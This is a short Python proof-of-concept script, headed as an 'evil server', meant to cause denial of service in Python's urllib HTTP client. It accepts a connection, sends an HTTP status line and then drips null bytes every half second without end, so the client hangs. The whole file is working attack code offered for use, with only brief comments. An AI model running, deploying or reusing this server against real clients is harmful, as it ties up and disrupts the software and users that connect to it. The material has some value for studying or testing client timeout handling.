#
#
# Evil server to perform DOS on
# the urllib http client
# 
# Author: Farhan
# Email: farhankhursheed2018@gmail.com

from time import sleep
from socket import *
from multiprocessing import *


def attack(response):
    response.send(b"""HTTP/1.2 200 OK\n""") #Send response status immediately

    while 1:
        response.send(b"""\x00""") # Send null byte
        sleep(0.5) # sleep for half second to perform DOS

    print("Done!")


def thread(socket,address):
    request = socket.recv(1024) # receive http request
    response=socket
    attack(response)



def create_socket(port):
    Socket = socket(AF_INET, SOCK_STREAM)
    Socket.setsockopt(SOL_SOCKET, SO_REUSEADDR  , 1)
    address = ('', port)
    Socket.bind(address)
    Socket.listen(1)
    return Socket


def main():

    port=1338 # you can change this
    server=create_socket(port)

    try:
        socket,address = server.accept()
        sub_process = Process(target=thread, args=(socket,address))
        sub_process.start()
        socket.close()
    except Exception as e:
        raise
    finally:
        server.close()

if __name__ == '__main__':
    main()